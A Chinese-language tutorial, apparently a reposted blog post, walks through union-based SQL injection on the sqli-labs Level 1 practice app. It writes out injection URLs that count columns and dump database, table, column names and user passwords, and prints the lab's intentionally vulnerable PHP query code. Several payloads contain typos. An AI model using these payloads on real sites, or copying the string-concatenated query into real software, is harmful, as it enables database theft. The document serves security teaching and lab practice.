概述
SQL注入介绍
什么是SQL注入:
SQL注入是(SQLi)是一种注入攻击,可以执行恶意的SQL语句,它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或者web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录。
SQL注入的原理:
用户输入的数据被当作代码拼接到代码语句里面执行,造成一些不可估量的后果
危害:
你的数据被别人窃取,甚至被别人全部删除。
有输入输出的地方,就可能存在安全问题
SQL注入基础
- 一个可利用的数据库
information_schema - information_schema库的一些可利用的表
SCHEMATA表
schemata表存储该用户创建的所有数据库的库名。要记住该表中记录数据库库名的字段名为SCHEMA_NAME
TABLES表
TABLES表存储该用户创建的所有数据库的库名和表名
字段名 table_name table_schema
table_name存储这个数据库对应数据库名的里面的表的值
table_schema是储存了这个数据库所有数据库名的字段
COLUMNS表
COLUMNS表存储该用户创建的所有数据库的库名、表名和字段名
字段名 table_schema table_name column_name
table_schema存的是数据库里面所有的数据库名
table_name对应数据库名的表名
column_name存储的是对应表名的字段名
mysql函数利用
- 常见的注释符
#或 - - 空格 或/**/
内联注释:
内联注释的形式:/*! code /。内联注释可以用于整个SQL语句中,用来执行我们的SQL语句
index.php?id=-15 /* ! UNION*/ /* ! SELECT*/ 1,2,3
/**/在mysql中是多行注释,但是里面如果加了感叹号!那么后面的内容会被执行(内联注释绕过)
SQL注入的种类:
介绍一些常见的几种手法吧!
1、union联合注入过程
第一步、测试注入点(一些小tips:利用引号,and 1=1, or 1=1之类的)判断是字符型还是数字型
第二步、利用order by查表的列数
第三步、如有回显,找到回显位(回显,就是显示正在执行的批处理命令及执行的结果等)
第四步、利用union select 爆库、爆表、爆字段名、爆值
接下来以sql-lab第一关来演示一下union联合注入
sql-lab第一关:
输入id=1——》http://127.0.0.1/sqli/Less-1/?id=1
step1、测试注入点(一些小tips:利用引号,and 1=1, or 1=1之类的)判断是字符型还是数字型
当加引号时:http://127.0.0.1/sqli/Less-1/?id=1’——》报错
当单引号后面添加注释符时:http://127.0.0.1/sqli/Less-1/?id=1%’ - -+(+表示空格) ——》成功,有回显
从这就可以判断它是一个字符型的,并且存在sql注入
step2、利用order by查表的列数
看一下表回显的列数,从1开始查起:http://127.0.0.1/sqli/Less-1/?id=1‘ order by --+
order by 1/2/3的时候都会成功回显(/表示或)
当输入order by 4的时候:
没有第四列,所以可以判断这个表有三列
step3、如有回显,找到回显位(回显位就是能够显示你查询信息的地方)
利用union select找回显位:
这里为什么是id=-1?因为id=-1时返回的是一张空表
然后用union select联合查询1,2,3它也会返回一张1,2,3的表,一张空表和一张带有1,2,3的表进行拼接,就会返回后面这张表(要保证前后两张表列数是一样的,这也是为什么要用order by 查询这张表有多少列的原因)
可以看到2和3这个位置可以回显我们的信息的
step4、利用union select 暴库、爆表、爆字段名、爆值
先爆库
利用database()来返回数据库(写在2或3的位置上都可以)
http://127.0.0.1/sqli/Less-1/?id=1‘ order by 1,2,database() --+
如果写成http://127.0.0.1/sqli/Less-1/?id=1‘ order by 1,database(),3 --+
可以发现它的数据库是security,找到它数据库名字之后,再去找表名
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+
由上图可知security这个数据库存放了emails,referers,uagents, users这四张表
下面看一看users这个表有哪些字段名
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(column_name)from information_schema.columns where table_name=‘users’ --+
由上图可以发现user表中字段名有id,username,password
最后就是去爆这些字段名的数据(对应的值)
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(username) from users - -+
由下图可知有这些用户名
同理要找密码的话:
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(password) from users- -+
打开第一关后端语言的代码分析一下吧!
MYSQL中group_concat()/concat()/concat_ws/substr()函数
注意start是从1开始的
打开index.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-1 **Error Based- String**</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-1.jpg" /></center>
</body>
</html>
没有对用户输入的id进行过滤,导致我们想输入什么就输入什么
当输入id=-1’的时候把单引号闭合了
$sql=“SELECT * FROM users WHERE id= ’ $id’ union select XXXX #’LIMIT 0,1”;
上面语句中红色部分是我们传进去的值: $ id后面的那个单引号和前面那个单引号形成闭合, #将后面部分注释
防御措施
1、过滤危险字符
2、做到数据和代码分离
2、时间盲注
3、布尔盲注
4、堆叠注入
5、通过sql注入写webshell
最后
以上就是无心缘分为你收集整理的SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)SQL注入介绍SQL注入基础SQL注入的种类:的全部内容,希望文章能够帮你解决SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)SQL注入介绍SQL注入基础SQL注入的种类:所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复